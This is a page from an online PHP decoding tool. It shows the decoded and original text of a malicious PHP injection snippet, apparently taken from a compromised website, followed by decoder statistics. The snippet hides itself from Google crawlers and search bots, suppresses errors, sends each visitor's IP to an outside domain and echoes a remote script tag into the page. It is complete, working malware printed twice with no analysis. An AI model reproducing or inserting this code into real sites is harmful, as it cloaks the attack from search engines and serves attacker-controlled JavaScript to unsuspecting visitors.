Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if (empty($pptby)) { if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') ||..
Decoded Output download
<? if (empty($pptby)) {
if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {
} else {
error_reporting(0);
@ini_set('display_errors', 0);
if (!function_exists('__url_get_contents')) {
function __url_get_contents($remote_url, $timeout)
{
if (function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $remote_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
$_url_get_contents_data = curl_exec($ch);
curl_close($ch);
} elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
$ctx = @stream_context_create(array('http' =>
array(
'timeout' => $timeout,
)
));
$_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = @fopen($remote_url, "r");
$_url_get_contents_data = @stream_get_contents($handle);
} else {
$_url_get_contents_data = __file_get_url_contents($remote_url);
}
return $_url_get_contents_data;
}
}
if (!function_exists('__file_get_url_contents')) {
function __file_get_url_contents($remote_url)
{
if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
$remote_url, $matches)
) {
$protocol = strtolower($matches[1]);
$host = $matches[2];
$path = $matches[3];
} else {
// Bad remote_url-format
return FALSE;
}
if ($protocol == "http") {
$socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
} else {
// Bad protocol
return FALSE;
}
if (!$socket) {
// Error creating socket
return FALSE;
}
$request = "GET $path HTTP/1.0
Host: $host
";
$len_written = @fwrite($socket, $request);
if ($len_written === FALSE || $len_written != strlen($request)) {
// Error sending request
return FALSE;
}
$response = "";
while (!@feof($socket) &&
($buf = @fread($socket, 4096)) !== FALSE) {
$response .= $buf;
}
if ($buf === FALSE) {
// Error reading response
return FALSE;
}
$end_of_header = strpos($response, "
");
return substr($response, $end_of_header + 4);
}
}
if (empty($__var_to_echo) && empty($remote_domain)) {
$_ip = $_SERVER['REMOTE_ADDR'];
$pptby = "http://victoriafreydin.com/data/7FcCWPHK.php";
$pptby = __url_get_contents($pptby."?a=$_ip", 1);
if (strpos($pptby, 'http://') === 0) {
$__var_to_echo = '<script type="text/javascript" src="' . $pptby . '?id=16132969"></script>';
echo $__var_to_echo;
}
}
}
} ?>
Did this file decode correctly?
Original Code
if (empty($pptby)) {
if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {
} else {
error_reporting(0);
@ini_set('display_errors', 0);
if (!function_exists('__url_get_contents')) {
function __url_get_contents($remote_url, $timeout)
{
if (function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $remote_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
$_url_get_contents_data = curl_exec($ch);
curl_close($ch);
} elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
$ctx = @stream_context_create(array('http' =>
array(
'timeout' => $timeout,
)
));
$_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = @fopen($remote_url, "r");
$_url_get_contents_data = @stream_get_contents($handle);
} else {
$_url_get_contents_data = __file_get_url_contents($remote_url);
}
return $_url_get_contents_data;
}
}
if (!function_exists('__file_get_url_contents')) {
function __file_get_url_contents($remote_url)
{
if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
$remote_url, $matches)
) {
$protocol = strtolower($matches[1]);
$host = $matches[2];
$path = $matches[3];
} else {
// Bad remote_url-format
return FALSE;
}
if ($protocol == "http") {
$socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
} else {
// Bad protocol
return FALSE;
}
if (!$socket) {
// Error creating socket
return FALSE;
}
$request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
$len_written = @fwrite($socket, $request);
if ($len_written === FALSE || $len_written != strlen($request)) {
// Error sending request
return FALSE;
}
$response = "";
while (!@feof($socket) &&
($buf = @fread($socket, 4096)) !== FALSE) {
$response .= $buf;
}
if ($buf === FALSE) {
// Error reading response
return FALSE;
}
$end_of_header = strpos($response, "\r\n\r\n");
return substr($response, $end_of_header + 4);
}
}
if (empty($__var_to_echo) && empty($remote_domain)) {
$_ip = $_SERVER['REMOTE_ADDR'];
$pptby = "http://victoriafreydin.com/data/7FcCWPHK.php";
$pptby = __url_get_contents($pptby."?a=$_ip", 1);
if (strpos($pptby, 'http://') === 0) {
$__var_to_echo = '<script type="text/javascript" src="' . $pptby . '?id=16132969"></script>';
echo $__var_to_echo;
}
}
}
}
Function Calls
None |
Stats
MD5 | 559f294c5442a58ecc62591c607f0750 |
Eval Count | 0 |
Decode Time | 92 ms |